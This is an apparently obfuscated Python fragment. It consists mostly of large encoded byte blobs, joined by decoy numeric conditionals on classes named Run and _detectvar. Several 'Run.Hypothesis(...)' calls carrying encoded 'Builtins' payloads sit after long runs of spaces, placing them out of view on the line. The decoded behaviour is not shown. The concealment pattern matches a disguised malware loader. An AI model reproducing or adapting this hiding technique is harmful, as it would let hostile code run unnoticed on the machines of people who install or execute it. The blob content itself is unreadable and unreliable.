\xe5.t\xeb\x15\x08\x86n\t\x08\x063\x9fD]\x08\xff\xfb\xee~\xdb\x19\x95}\x9d\x13]3\xee\x05\xe3Co+\xfb$i\x0fB-\xc0\x9aC\x80@\x8dM\x9cU0\xb7\xf7\x11\xa1\xdc\xa7<~(AT\xca\xbc\x1a\xa0\x84\x16\tg\x80\x98\xd2%\x7fK\xa4\xc0\x0cM\xea\xeeF\x16\x80\xb9\x00\xfb\xb5\xe9\xe9\xe6\xc9\x9b\xa9r\xd1\\P\xaa\x11\x90h\xd2Z\xf5\xfa\x1cU\xee\xbe\x93u/\x08\xdff\x03\x0bP\xfbV\x8e:lxa\xb6\xe9 V\xe8$\x0b\x86\x95\xac8\xc9\xc7%8l\x99\\;LH6P\x92\x01\xf5\xd4\x10P\xd2F\xe3\xcd\x90-\xd3LY\xf4\\},yd\xc1+\x1f\xd7\x1b\xff$\xbcH\x11\x9bo\x84UQ\xca\xf3J\xa2\xf9Uu\x1b\x06\x9a\xbe\r\xd6\xe2\x00\xb9\xab\x88\xf1\xd9\xb1>\x03\xf7`\xc3!\xbc@\x8e\xc0\x1e\x92\x8a\x10\xf6\x00\xd4\xc0^\xbdtgj\xdb\x0e\x13R\xe6\x00\xf4\x01\x13\x8b\x07\xe9\xf6*{\xab\xb6\xb3Vsqllo\xdd\xe2\xf2\x1c\x82=\x00yG\x19\xa9\xb4\xc8\x81\xc2kA\xf4\xd1\xd6\xa5\xc6\x03\x89\x8f\x97 y&B\xf5k\xcb\x99K\xdb,\xfe^\x01\x1bK\xb9N[\xb8\xaan`\xfet\xc5~\x1c*\x07\x88ct\xa9g"\xa2\xdf~D\xf7i\x05\xa4W\xed\x0c\x95o!:C6\xf4\xca\x1ap\x05V\xc3\xf9\xfc\x94\x80U\xe6\xa0\xfb\xaeE\xb7\x83\xe7[6pW\x87\xea\xa2(\xa7O\xea\xa97.\xbdB@\xbb\xc0\xec\xf0s\xe1\xa9&m:g\xaep\x17\xdc\xddAF\xf8\xe9\x14SvB~eL\xb2\xecuv\x92<Q\xc8\xdeD\xd2\x92\xac\x10\xd5\x84\x9d\xeb\xea\x06L\xd8Y\xb4\xc22s@68\x8c\x96=;c\xf3\\\x08\xfd;\x90^O\x81\x0f1\x86\xe5FH\xcf\x90`\xa0B\xad\xb4\xb1\x90I$\xf6\x94T\x0b\xec\x02)\n\x99\xb5R\xef\xc9V\x04w\x81j\xead3:9\xcd\xba\xbaq\xf3\xc9\xb6\x1dN\xb9$\xe5.,\t\x99\x9b\x1c}\x9b\xfcS\xa9\xcd\xda(\xa9*s~I\xfaJ\x97\xd91\x88Wl\r\xe0>E\x8d\x08\xe5\xba\x84S\xe3\x90\xbf!\xc5\xd0\xb3q^`\xe8\xd98\xbfE\xca\xa4\x9e\xd9\x0fL\x05 \xc7w\xd1\xad:1\xcb\x1e\xf4`\xf3\x0b\xd4\x02Xi\x8c\xdf@\xc6)r0\xcd\xf8M\x97\xc8Y\x0b\xd1\xdb\x11e\xb9\xc6p\xeey\xc3\x08n\xe8\r\xd0{\xc8\x1b\x96 \xefb\x86\xbd\xa1V\xfa#x\xe1!q\x86\x17Q\xec\x99\xe5\x13\xb0x\x11O\xefEx\xa3u+\x0c\xed\x07\x96\x83\x88>>\xd1\xc2\x1b\xe2"\xf9\x97,\xa4E\xe1K5\xbceU\xbd\xc6\xd0\x96\xad\xdc\xa4a(H\xc4\xb5\xcfa\x90\xda\xc1/N\x7f\x0c\x85\x0c1\xa4%\xc3d\x90\x03+S\x9f\x81\xa2]\x88\x1f\x07\xce\xb6\xa4\xc7\xf8\x90\x0c\xd1!\xf0\x86?\xc0\x89\xc0z7\xe9\x9b\x97\x19\xe2\x82P\xda\x95\xb3\xc4W\x99\x0e\xc3eZ*2F\xb9-bq\xe7\xdf\xdaq~BRy\x92W\x8d\x90\n\xaf\xe9\xac)\x1f\x9b?\xf3\xa1 \xb7\x8b\xac\x1c\x1b"\x82D_Y\x1a\x9b\xd4\xdd\x88\xd2n\x9b\xe7\x128\xbbg5\xb3\xa7\xceo\xf5\xe6x\xc2\x0b`\xc8\x04\xbf\xe8\xc59\xfaI\x9b\x05o\xbd\xdd\x1c\x03\xd1\xf7\x11t\x94\xbc\xeb\xa0B[w\x14\xca?\x83\x7f\x92\xe4\xa0Y\x86\x83e7@,U\xb9\x12\x9e%\xa4^\xc0\x93E%vjU\xdd\xc6\xb9\x8e\xb6\x10Q\x12\x94\')\x9b\x88\xef\x8d\x04vUlJ\x18\x0ch\xd7<\x9b\x93D\x06\xc9\xfc[\xa8\xd1A\xee\x90\xce2\xbe\xaen\xc0H4/\xf6#N+\xc5\xe9\xa5\xa8\xff\xee}?\x84&c\x94\x08`\xca\x08\x00J\xa8\'C\xd6\x83i\x18\xfakkc\x16\xb9/\xcd\x9c\xbb\\\xe4@\x9d\x8cr]]\x9f<\xae\x0f\x82f\xb8w\xc6\xd9\xa6\xc0\x86\xcdr~\xf7P\xbd\xca\x10\x96\x90\x02H\xe1g [\xab\x95\xfe \xde+\x90\xb3b$\x0e6\xda\xf3b\x88\x81\xfe\xbd\x15y\x0bu_\xa3\xf5\xa2\xee\x8b!\xb9\xf0j\x8c\x10M\x90\xe4\x82\xd0!\xdd\x9b\x1c\xf1\xa1\x95\xb2\x9d\to\x82\x10\x11\x01L\x10\xfe\x12\xb4\x99V\x88o\x97\xd5k8\xd4\xfa\x11\xce\xb5\x86\x12C\xed\x9a\xb1\x82X\xa3\xf1\xb3\x8b\xb1\x8b\x90%\x0f\x92K\xd2\xd3\xab\x95\x06\xe8\xb8\xf1\ra\x8a\xd0\xe2h\xad\x91I\xbd\xd4\xbb=\x88\xf5/\xcf\\\xe4\x87\xa8\xc8Y%\xb8wY\xbd-\xb2P\xecW\x16\xe9\xe5~\x91^\xc5\xff\xd1+\xf9B\xf8\xd7\x10\x1a\xa5i\xf4\xedc\x85\xc4\x10\nFOg\xfa\xa4OX\x92\xdd\x00c@')

        if 121498 > 5925493:
            Run(_run = 66947 * 38485)._math(Absolute = _detectvar.Calculate / 78549)
        elif 131408 < 8426600:
            Run(_run = 72461 * -44123)._floor(_calculate = -61605 + _detectvar.Calculate)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='NMMMMMNNMNMNMNMNNMM',Builtins=b'\xa20V\x03d\xd5\x02KR\xdf(\xc5\xa3\x0c\x12o\x84\x81>*0T\x19\ne\xc9M\x83`\x86\x86\xe6\x06&i\xd7|v\xb3(\x8b\xd2\xd4|\x9a\xb7w&?\xe2\t\xb3\xb1a\x9e\x84a\x12\xe6%\x1a\xbaN\xb6-n\x83\\u\xfeuu\xc3\xe1\x85\x00V\x08\x9d\x1b\xac\xe00\x00$\x8b\xf3\xe4U\xeb\xb42\xf33\xcc\x08\x93\xcbsJS\xbf\xd4\xf2\xdd\xcc\xa12\x05r\xd5\xcb\x1cb\x133\xfe(o\xcd\xba\xba\xe18\x10\xadg\xc6C\xc8\xfd$\x88\x92\xd8\xaa@;\x03TmE\x08\xfa\x96\xfc\x0c\x9f\x05\xceO\x99:\x91\x13\xb01/\xe0\x86^Q$\xa0\x17\x19\x14$\n\x89Z\xaa\x94\xee\xfa\tl\xd9VE*\xd1F}\x19\xa4\x84\xdd0U&\xc9uu\x03Pjk\xd6\x04\xe1\x1aP\xfc\x02A\x92\xac\xb4\x13n\x82av\xa7x0<&R\x10\x9d\xee=\\\x06\x9d\x13\n\xbf[\xd4\xf0\xbb\x0b\xdd\x14\x10\x84\n\xef.\xba+ 0\xd5\xcbMq \xa5\xd6\x88\xeb\x8d\xf2\x8d\xd4\xf0/\xe2\xb7\xa4\x88!\xd5\xcc\xa1|\xd7\xd5\rJ\xf7\xd9.\xa1\xdc\xe4q~\xff\xfe\xf6\xfbt\xf6<}xz?\xbd\xff6\x7f|~?\x98\xcd:\xa3\xe9cg\xfc:\x1ev&\xf3\xc7\xfb\xc1sg6~\xe8\xcc\x1fG\x9do\x8f\xd3\x87\xe7\x0e\xbcg\xd3\xa7\xe7\xce\xe3\xe0\xe1\x97q\xe7i\xfc\xdcyz~\xec\xcc\xbf\x8d\x1f\xde\xc1V\x87\xaf\xaf\x14jg#\xee^_\x8f\xde\xf1\xee\xe7O\xb2\xf6\xfc\xeb\xe3x0\x9a>\xfcB\xe7\xf1\xf4\x9b=\x05\xd8\xc9\xf7\xe7\xc1\xedl\xcc?\xfd\xef\xd9\xf4y\x9c\xc8\xcf\xc3\xf9\xc3\xc3xh\xce\xf4\t~\xb9\xe1\xaf\xb2\xdbG\xde\xe8v\xf04\xceS\xd9\xe66O\xe9f\xd0\x8fwO\xf3\x07\xf9i6\x1f\x8c\x9e`gPx\x83\xdf:\xb0\xa4\x9a\xc3\xe7\xdf\xbe\x8d\xed\x99\xbdL\x1fF\xe6\xfe\x98\x0f,\xee\xdc\xfe\xf68\x9et\x86P\xf6\xe9\xf9\xf1\xfb\xf0\xf9\xfb\xe3\xb8\xf3/Wg\x1f\xff\xf4\xc7\x7f\xed\x0co\x86\xbf\x0e\x1e\xcd\xc7\xed\xf7\xc9d\xfcH\xfb\xfb\xfe8\x9bMo?<\x8e\xff\xf7\xf7\xf1\xd3\xb3\xec\xf7_\xe9k\xc7\xfc\x8a\xb7q\xf1IvF\xdf\xef\xbf\xb9\xfb7\xbd\x1f\xcb\xfa\xd3\xaf\xdf\x9f\xa73\xda\xec?\xa6\xdf&\xd3\xd9X\xb6\xfc_\xd3o\xffd\xbe\xda\xdbcf\xd1\xf9\xbd\xbaY\xb2\x87\xef\xb7\xdf\x1e\xe7\xc3\xf1\xd3\xd3\xbb_\xe7\xf3?\x9f@\xf4\xd7\xd9\x19sLC.\xb0w\xa7\x7f\xfc\xd3\x1f\xff\xf0\xa7?\x9e\x9e\xf0\x04}\xff\xa0\xb9\x8f`\xf9n4\x9e\xbc\xffe\xfc<\xfdvxt\xfc\xee\xbd\xf9\x9b~;\x99C,\xb1D\x15C\x8b7\r\x1d\x7f{~\xfc\x8d*qE\xbe\xf6C\xbe\x17\x87<\xcd\xc7\x9ccJ\x19|\x8f\x8e>@\xd39\xb4\r\xfc\xe8\x83i\x80pT\xdc\xdf\xf8u8\xfe\xf6\xec\xf6\xfdm`.\nV\x1e\xc7\xe6\xf9\x98[\xfa\xed\x1d\xdc\xfe\xe9\xe3\xf8~\xfc\xf0\xfct\xf2\xe5\xdd\x17\x8ci\x07vuD\xab\x11\xd9:@\xd7:\xdc\t)Z\n\xbf|\xed\xbc\xfb"\'\xf5\xc9I5q\x87=K2V!\x0e\x01\xd6\xbf\xbe\xfb\xfa\xce\xf4\xa3\xf7\xf7\xf3\xd1\xec\xfd\xf4\xe1\xbd>\xf6\xb1\xbd\x1377\xf4 nn\x0e\xa1\xe2\x17\x94\x8b\x05\x88O\xc2\xf2\xe5\xe5\xd7\xc5\x17\xe8\x9e\xdd\x87\x7f\xc1[\xb8\xe9\xd0\x02\xcc\x00\xc5-\xb94\xf2\x04\xc9\x9d\xbah\xee\xcb\x8a\x11\xc4\xd1\x1b\x91\x1f\x86y\xa3S\xc6\x91J\xad\x0e\xf4`\x91\xd9n\x84\xd0\x98avk\xe4\xebQ\xd1$\xea\xbe\xf3\xf4\xebx6;!|\xe0t\xe6|\xaeH2pd\xaf\x0c\xda\xf8\x87\xa7\xd9x\xfc\xed\x90X\xce\xcf1\x14\xf1\xec\x82)\xd0\x8f\\C\xc6F\xf3D]\xe0\x0f\x8f\xbf}{\x9e\x7f\xf8\xc3\xf4\xdb\xaf\xe3G\xe9\x08\xff\xf0\xc7O\xeff\xf3\xe1`v2\x7f\xfa`Z\xe9\xf8\xe1/\x87"e\xb2\xc9\xd8\x08\x99\xef\x1e\xe7\x83{3(\xa9J6\xc9\x19\x8b\x9e\x8c\xb28z\xf7<\xbe\xff\xa6\xea\xddI\xeb\xe1k2\xcd\xe8\xe8\xdd\x9fp\x94\x83\xe1\xf2\xe4\xcb\xd7w\xc3\x99i\x8b\xefO\xff\xe1O\xffp\xf3\x8f\x17W\xffxh\x07\r\xee/7\x93\xe9x6z\xba1m\xf2P$V",\x81/v\xdc\xf9pz}\xf5\xaf\xa7G\x9dw\x87(:\x9c\x12/\xec\x1c\x97\xe6\x81\xcb\x08tH#\x90\x19\xe9\xbfb\xd7\xfc\xe7\xf1\xf3\xe9\xe0ypx;\x9b\xdf\xde\xcc\xbf?\xf3A\x87\xb7Pzb\xf6m\x7f\xf9@e\xf4 \xbe\xd1\xef\xf67\xfa\x8e?\xd1\xc8v"C\xdc\xa1\xde\x0cF\xc5\x0f\xf7O\x7f\x19>>\x7f\xb8\x1f\xdf\x0f\xbf\xfdvH\xb5:\xb4\x83\x8e\xaeL\x03\xeb\x87?\x8f\x1f\x1f\xc6\xb3$\xfep\x01\x0f\xea\x9f\x1e\xc7\xe3\xc3o\xaa\x16w`\xda\xcd\x87\xc7\xc1\x0b^\x16>\xed\x7f{0]\xe0\xd9\xcc\x03x\x85\xe3\x87!\x14\x8eG7\xb7\xbf=\x9bq\xda\xf4\xb5\xc7\xf9\xb7\xdfN \xbd\xe1\x19\x8ek0\xaa\x81\x13\x97\xdcn|\'h\xc77\xd3\x07wE\xd5=\x99\xa9\xb0Zvt\xa47\x96C\xa9=`\x01o\x89\xeb\xb2\x05\xdcQs0\xd7\x1e\x16\xed\xbdc\xcfJm%G\xa9nJ\xbb\xef\x94\xcfEmg\x9e\x9f\xda\x86~\x98N\xe4\xf6\xe3\x81\xcd\xdd_pGq\xa6;\xe43>\xea|\x9c?\x8c;\xaa\xcc\x1e\x19\x7f\xc0E\xf4\x1auu\x15hpGn\xd0\xe2gYk\x93\xf8HO\xc7x*\xffs0\xfb>\xc6V\xd3\xb9\x1f<=\x9b+\xfa\xf3\xf8\xb7\x13\xd8;\xef\xe8\xe9y\xf0hFp\xa8!#\x8e\xb9}s\x90*N\xa8o?\xe8\xb1\xdb\xacw\xc6\x8f\x8f\xf3\xc7\xa7\x13\xf4\\\xe3\xc8\xca/^|<\xfarLI0\xcf\xc1\xbf\x8f\x1e~\x8c\x866\xef\xafr\xbb\xf8\xb0\'\x84\xde\xbb\x127\x0695\x10\xc4\xf7\xde\x0c\xf8R\xeb\x0c\xf7\x04\xbb\xc1\xc9\x14\x97\xd8\xf0\xd4\xf4\xf7\x17\xbc\x86/\xd7DPDoX\x1eOqj\x82\xc1\x04&\x16\x18!\xbf\xaa\x89\xed7\x90\x0bhS\xc5{\xfe\xc2\\\xe8\xb0~\xec\xaa\x0fq8<1\xe3\xe0\x87\x87\xf1\xcb\xa1\xbb\xa3\x1d(\xba\xbc:\xfd\xe3\xcd?\xff\xe1\xb23\xfd\x8b\x1b\x7fGci\x8b0\x89\x9e\xd0\x1e>p\xe9!\x1f\x7fi\xf5\xf2\xd7/\xc7?S\xdf;\xbb\xb8pC\xf8W;\x87W[Fykl\x16\x17\xe6h,\x1e<\x1d\xde\x8f\x9f\x7f5\x1b\x82\xcc\xd4\x19\xc1\x00\xf5\xf1RO\x9a<sv@\x16z\x82g\x00\xb7\xfc\x82\xc1\x1bg\xf0L\xccYt~5\x83\xf3\xd84\x87S\x18?\xe78]\xe2\xff)70\x98\xb8\xa78k\x83\xac{\x08\xd3\xe8<\x8a0\xd9\xce\x1cyc\xe1\xf9\x9b\x92\xa3\xe3\xff\xf6\xfe~\xf0\nS\xf9\x93\x9b\xbd\xb4\x84\xc3M\x87\xcf\xda\xb4\x8a\x99\x02\xa1\xc0_\xb9*W\x87\x0b{\xffw\'\x98\xec\x07\x9a\x16\xfe\xb3\xe3\xecj^\xdf\x04\xef\xdf\x89\xcc\x86\x1f\xbe\xcd\x8d eo\xd0\xc8\x0e\xa4\x0b\x8e\xf4hd\xa8\xc1\xf3\xf7\xa7\x9b!\x9e\xde\x15\x86q\x9c\x92\x08A\xf7\x05\xa8\xa2\xe6K\x8e\xa9\x9e\xdbc\xad\xc2xf\xf6\x8f\xcf\xc1\\\n\x03H\xa4\xf7\x91\x11\xf0c\xf3+\xa1\xe7\x89\xcb\xa6\xd7\xc2:$!\xe9\xe1\x0fzg\xa5\x8eP_\xd8z\xf0D\xfe\xdb\xfb\xb4\x9b\xe0x\xf9\xfeOW\xef\xff\xf1\xec\x9f\x9b_{UF\x83\xbfR;\xfe\xb7G\xa3\x07\x1c\x82\xacM\x0fGRW`\xdfG\x834_*\x88\xcdh$\x98\xa3\x0c\x07\xf2\xb4m\xb6\x18e\x81\xc3\x02JP\x1ctaF\x8b\xe5\xcd\xf7\n\xdb\x10\xb4\xda9\x0cVjD^\xd4\\\xf9@\xd0\x04\xcd\x919\xb4\x077=\xc5SY\xd0\x1c\x1ek\x92\xbc\xbbHX\xd8\x93\xe7\xcf\xa3\xfac\\\xd8\x92\xc6\xb3\xa7\xf1\xe6Gk\xb2\xf7\x95\xcf\xea\x1731\rfg\x0f\x93\xb9RjX\xc9\xc1\xaf\xdf\x9f\x8c\xd02\xb8\x1f+I\xd0<\x86;\xd2"\xee0\xc9\xab\x91\x07y\xaa\xfd\x06\xe7\xf40\x07\xd5\xaev\xe2\xdbH\xed5\x93}\x81\x10v6\x13Xo\xde\x08M\x02\x8e\xbb\x8c}{F\x9e\x9f\x18\xf9\x1d";\x9bH\xed\x0b\xf4\xae\xc7\xf1\xb7\xd9`hZ\x16\xe4"\x9b\xcfi|\xbc\x82)\xb1C\xd4;\xc8\xbe\xc3\x14<h\txu\x1b\xc9p\xcd`2\xb3\xda\xa1\x94\x0e|\x95r\xc5\xf7\xfa\xe6\x9d\xa0*|\xa8\xef$\xcb\x9bs#\x83\xfcvB?|\xb1\x93\xbe\xdd\xd9\xc3WU\xed\x0f\xd0\xe9\xb9\xeaG7\xfd_\xca\x90\x84%_?\xcc\xe6/F\x82\xa3\xfdSC\x98\x9a\x86\xb0\xb1\xe9\x06\x9e\x14\x1a\xbd\x06\xf1 \x9b\x98\x17\xe7\xca\x914a\t\x96\xc2\xaf\xa0O\x15\x95_\xe31\x9b\xd9\x00\xec\xda\x8b\xfb\xa0\x93\x8d\x93^\xd4K\xdc\x1e\xd3~\x16\x95\xf7\xc2O5\x8a{\x059{89\x19\x94%\x03d\x8b\xe8\x02\xadB\xf9\xd7T2\xf1\x8cL{\xea71"\xa9\x1e\xe5\xee\x10\xf6\x9c?=~7\xad\xfa\x0f\xa6;N\xcdX}\xacn\xe2{\xb1%`\x19>U\xa3\xc0\xdb\xaa\xa4\x14O\xef\xcd\xe8\xffab$\xd3\xc1lv\x88\xddi\x86\x81d(\x05a\xb7\xea\xb8\x19\xcd\x8cU \x01\x9b\xad\x8e\xfe\xef\x9f\x05\x12\xe6\x82oa\xc5upk\xca\x10\x0b\x83\xa4\xf2Em\xbe*\x88\x94N\xb6<\n\xd9\x1d]\x9c\t\x86\x8f\x15\x0c\x10\xf1\xce\xcf\x97\xee\x8a\xd5\xb1\x7f\x84\xc1\xfb\xe1\x97\xc3\xe7\xf9\x9f\xc7\x0f|\x8bdx\xfcO\xbb\xb1\xa4\xc0 5\xd4\x9d\xab\xb9$\xdc\xb0ck^\xa1IY\xc6h\xd3"\x8f\xad h{#uH\xb7\r\x9af\xe6h\xa2\xc1\x8d \x80\x13\xd6N\x8f\xaf%\x93\xd2\xb5\xcd\xad\xf4\xee\xbf\xea\xb6\x9b[\xba\x08\x1c\xd3\xa8sVG6\xc1e\xb1\x96-n\x9d\x87\xfb\xfa\\P\x1da\x16[<\xf8vZ\xba\x87\xfb\x92\xbbH\x1a\x84>1\xa3}\x1f\xf3VwwLb\x08\xf6\x1ehP\xef\xd4U\x88\\&awB\x8ae\xa7S\x16\xe0`RU\xfbW\xa2\xbc\x95\xf1\xbe|\xb6*\xfc\xb5d\xa5\x82o_ON\xf8!\xbc\xb0\xb8\x8e\xcfh\x99\xa8\xf8\xe5R\xf11\\:')

        if 485632 > 8477074:
            Run(_run = 79672 * 89753)._math(Absolute = _detectvar.Calculate * 87912)
        elif 128061 < 1645933:
            _detectvar._math(Absolute = _detectvar.Calculate * 32648)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='OooooODDDoOoooOoooODoD',Builtins=b'\x95\xc5\xec\x86\xbc[\xea\xf9\xd4\xe7G>\xc7\x9fN\x88\xde\xeaZ\xa4\x0c\xabbT\xe6Xu\\\x102A\xda\xa4\xb0\xa4\x08e\x87\xab\xb99\xec\xa5\xf3\xe0\xe2\x99\xc1\xdf\x8a#_\xd1\xc4\x10\xa1\xbc\x81;*)\xf3T\xcd\xf6\x88\xc1\xc8\x08*\x93\xd9\xe0\x17\x192@v\x84\xaf\'\'\x92\xf3\x87\x1f5\xae\xcaCE\xc9\x04G\xe29JI\xa6\'\xe0\xd6W/\x0f\xe3\x11\xee\xf4\xe9\x04\xf5\x0e\xec\x98\xa8z\x90!\x80\x9e\xec-\xd4\xb8@+\xcd\xbb\xffd<\xc0\xb5}bp\xc7\x8e]Z\x1a\xf1f\xc6\x1d\xb4k\xceI\xeb\x8bP\xfb\x8bP;\x88\xae\x8e\x99uN42\xb2\x85\xbfv\\gt\x1d\x13\xd4\xb4\xd9\x1d\xc9\n$\xd1a\xc8,\x14L\xff\xab\xf3\xee?Yj\x15\xaf\xc7lv|G\xc1\xb5(g@\x13\x9ev\xe8\x84\xd8H*\xa6\xc9c\x16\xf88O\xe8\x9c\x12\x85F\xf3\x8e\xcc\x8an\x9e=\x96\xe9Y,\xf7\xaf\x9cR\x0bN\xe0\x8a\xc4E\xbaP\xfcr\xac\xe6J\x92\xe4i\xfa\xec\x90\xe4l)\xe4\xa4\xff\x1c\xf3\x9a\\\x08\xf7\xaa\x8e<G\x99\xf5-\x1b\xf31jd\xe2\x1e\xbb\xba"\x8a\xda\xd3+8\x1d\xd0\xbc\xe0\x87\xd3S\x1e\xe5\xcc\xdf1ha\x94\x11\x15[\x9b\xb4\xd7\xab\x0e\xe5J<G\xfb!\x1a\xb4/\x8e\xad\xd6O\xbd\t/\xa5#)\xc4\xf8.\xbcZ\xa1\xe5\xf8\xf3\xb5k\x06\xdc\x8b\xcc\n\x9c\x89\n\xb7\xb2\xe1W\xf1\xa7c\xfb0\x1c\x03\xc4\xa7\xb8\xf3\xf1\xd2\xa9\xa6\xf6\xc6]\x1es\xff\x7fq>\x13v\x9ft,\xc6\x8e\x9f<\x07\xb8\x1d\xa3A\x9d\xc5\x0fv!\xce\xe1l\x04\xcfb\xb1-\xd7\xd4l\xeby\xea\xb1\xa1tHB\xc5\x86g>Ls:\xc6\xb0\x06\xb4\x89!\xf5\x9b\xb9[\x1dj\x893\xb1\x90\x9b\xaa\xc7\x0c\xdcP\x17\x81\x0b8\x05{dk\xc7\xf8\xfc\xf9\xf8Eefs\xcb\xce\x83}\xe8\x0f\xd2\x00\xa8\x05\x1c\x8b\xf2n1"\x97(\x1a\xea\x9aX\xf7\x98\x9f\xc9\xb5\x9d\xa7\xb0\xb5^\x89\x8e\x1c]\xc9\x086?\xc6\x9eEr\xf9\x14\xe5\x08\xba\xe6\x8e\xeb\x03t\x02fH\xb1&\x18\x1e0\xe5\x82:\xe4\x13\x819\xfe\xc2\xfd\x9d\x1f\xabS\xa0\xbb\x8e\x9d\x16\xfa\xf2\xec\x8e\xe6\x18\x10W\xcc\xf1\x8em\xeb\xe7\xe7\xc9\x8f\xb4sF6\xa23\xb2\x0e\xc1\xbd?fc\x05\t\x12p\xe0\x8e\x9d6\xd5\t\x1f\xe3\xf5\x81BGSw\x84_\xaf\xb0\x9b\xa0i\x13\r\xe6\xb8\'\xf88\x9e\xf1\xec&a\x92r|8$\x1e\xfc\x8c\xed#p\x95\xc7p\xe3`\xdc\x8e\xd0\xdc\x00\x03\\\xc7"8\xe2\xb28B\xe3\xddK\x89k\x93z\xd0\x7f\xbd\xfbj\'O\x1cfq\xea\x94\xf1\xb64q\xe28\xff\xfb\xdf\xe3\x8f_Hs\xba\xc3\xa9\x1a\xffg\xd4H\xbf\xfe\xdd\x89\x1dp\xa4\xf7b;)OAj\xe0\xff\xe9\x84\xf6\x88\xfa\x18Z\xe6Ic\x86\xb6`\xbe}-mGs\r.\xdf\xff_t\x9e_\xb8\xe5P2^\xd8\xf4n\xfaU\xcfa\xeaX2\x8f\xfd\t\x043\xd4\x1aW\xcbv2\'_[jr\x9a\xa0\xab\x92\xdd\x19\xb5\x99\xd9\xcc\x8a\'g\xc7\xd4\xd0qLF\xb3\x10\x0c\x7f\xf3\xb9\x92\x06\xaf\xa81\xcc\xc9Z\x04\x1fd::&\x03\'=\xf0\x0b2\x86c4\n\x8bw\xa0\xd2\xae\x10\xe7.\xf9\xfes\xf7\xa7\x9e\xdaT\x94\xb3\xea\xb2\x1c\xe4\x8bu\xf2\xf3\xc4\x01+t{\x7f\x1d<\xfd\xfa<\xf8\xc5UU\x9d\x95\xc6\x02\xaa7\xbe\x1fLg\xae\x16\xcb\x01`\xa1`3\xd6)\x9bnG#W\x0b\x9f>\x8e\n\xd8\xbe\xcc\x17\xaa\xf4m\xf2\xcdU\xe2!\x93\x9d}4\xadrs\xc6v\xe2*\xc66\x1a\xe5\x93]\x8f\xa9\xea\xfdd\xe0*\xca\xd4\xfa"\x92\xf8\xeb\x0b\xd5z\x98>?\xceO\xee\xddl(\xd7Ig\xf5\xeb\xfca|"\x10\xaaO<\x96\x7f\x12\x1c\x98\xd5\x81\xa4S\xab\xb9\x03\xfa\x9b\x1c\xde\xf5\x11<\xdc\xb3;/\xea\xeaQ\xc4=\x1e%6\xf3\xed\xab\xee\x9f\xbc\xcd\tI\xb3\xec\x97\xc2!\xbe\xd4\x85\xe8J\xe6\xe4\xf3\xa5Y\x9c\xe0.sgr\x99\xa9\xddaKd\x8b0hNg\x8bv\xc7\x82\xa6\x08\x1bf!\xd7\xac\x86i\xab\xad\x94\xae\x99\xee\xdd\x16J{\x91ku\x9c\x8d&\xd9-\x00n\x81\x80\x97\x888\xc1\xe5\x99GM\xd0@|\xbe\xd0\x1cN\xd0\x0cGB\n\xda\x9dy\xa2\xbar\x97\x0e\xd5\x9c\xb4\x7f\xe9\xc4\x95\x8f\x1f\x17h\xa2P[\x84\x04\x07\x90\xc1\xce\xa4G*\xe9}\x1d\xeeZ\x1d\xec:\x1d\xd31:\xa6\xddw\xb0Qw\xf0\x86w\xf0\xaeu\xcc~qH\x1b\xfe:\x1e\xfe\x19\x07\xb55\x03\xdaG1\xf0\xca\xe4]\xd3Q\xe7\xec&\x89\xd0T\x04\x93\xcb\xb1\xc8="1\x93h\xec\xb6\xb1R\xb3\x13\x8f\xcc\xdf\xb1\xedJ\\d\x96\x8b\x14\xd4\x1a\xb2@\x843+\xba\xad\xb0I\xf2\x8d\x83|}\x17\x04\x8a\xc0\xe9\xff\xfcb\x95b\xaa\xe1\xad(\xbf\x084\xe2\xdf\xfe\xfb\xff\xf3\xcb\xf7\xe9\xcc\x0c\xaa\xa5\xbb\xf8\xbfo\xa8\x14|\xc4P\xc0\xdf\xac\xf5\xdblyx-r\x9d\xcdol\xcf\xfa?\x9dh)\xb6+\xb0\xa9\xe3!\xfe\xeb\xe8\x03t\x02\xe7\xeb\xa3}\xbbS\x86y\x19\xcb\xa0\xcfT\x7f\x84\xbf\xc1\xe8~\xfap\xe2\xf0\x172\xe7\x7f\xb2{\xfbB\xec>w\xe8\xa9\xc2\xc9\xd2h\x894\x9c;\x1c\xc4\x19\xb6\xd8\xf7\x96gY\xa7\xe3\xb8\xae\xea\xbex\xcc\xf7\x83\x87\x11\x1f\xc0Y\xc5\xaf\xb5\xf6z}\xfd\xf5\xefO\x9c\x96\xe6t\xe1\xba::7s\xf4\xe3\t\x07\xaf\xda\xe7\x82Kw\x1dn\x86\x95S\x9f}\xc5\xb3vb\xab\xb5\xa3\xd4\xdd5\x0f\x7f\x99>\x8f+O\xad\x15\xa3\xee\xfa\x04\xdc\x90(\xa2(2\xa4\r\xc04\x14\xc5\xad\xfb\x0e\xf1\xda\x98\x1c\xa8@x\xc6\x84S\x06\xf5\x0bJ\xb9\xdd\x00\xaea\x1b\x1aI\xe8\xd6\xb3\x8ag\xbe\xa8\x9dU\x1e\'\x98\xe6\xf8\xf6\x1c\xfd\xbdV\x10-\x8ao\xb1\x03\x88\xb6\xd9\xca\xde\xba\xf6&\x16yA\xd6o}3\xb2\xdb$\xcaFx\xc3\xd8\x12\xca7\xad\xa1%T\xff-vX\xa8\xcb\xb2\x8dQ4\xc2K\x9e\xd4\xf4\x9f\x1d\x1b>\x0c\xbe\x99Al\xb4U\x8b\x02\xa3p\xadE\x88y\x99.\x90\x0c\xc5\xcb\xdaL\x9f\xcc\xcaH\x10\x17\xa5\x93\xa2@\xd2\xe1\xd8\xdc\xda\x08\xe6\xc8\xdc\x96\xe0\\h\xcd\xd3\xa9\xcaT\x84\x0f"\xc2_\xe3\xfe`p\x8bF\xea\xf2\xf10\x14\tb\r\x8b\x9e)\x1d\xa1\x03#\xcb&\xa5|G\x13\x95\xbfR\xce|\x12G\x93\xa8?\xe9O\x06q\xf3\xbdR\xd0\x0c\xe69D\x8a\x8d\x95{No\xd3v\xce\x17\xd3\x92D\xed\x9da\x8e\xcf\xa4\xd2\x8c\x1b9s\xb4`\x07\xfd\xd36\xb4\xa3\xbf\x97\\\x97.\xcbP\xb9\x1d\xbb\xf9\n\xdd\x80 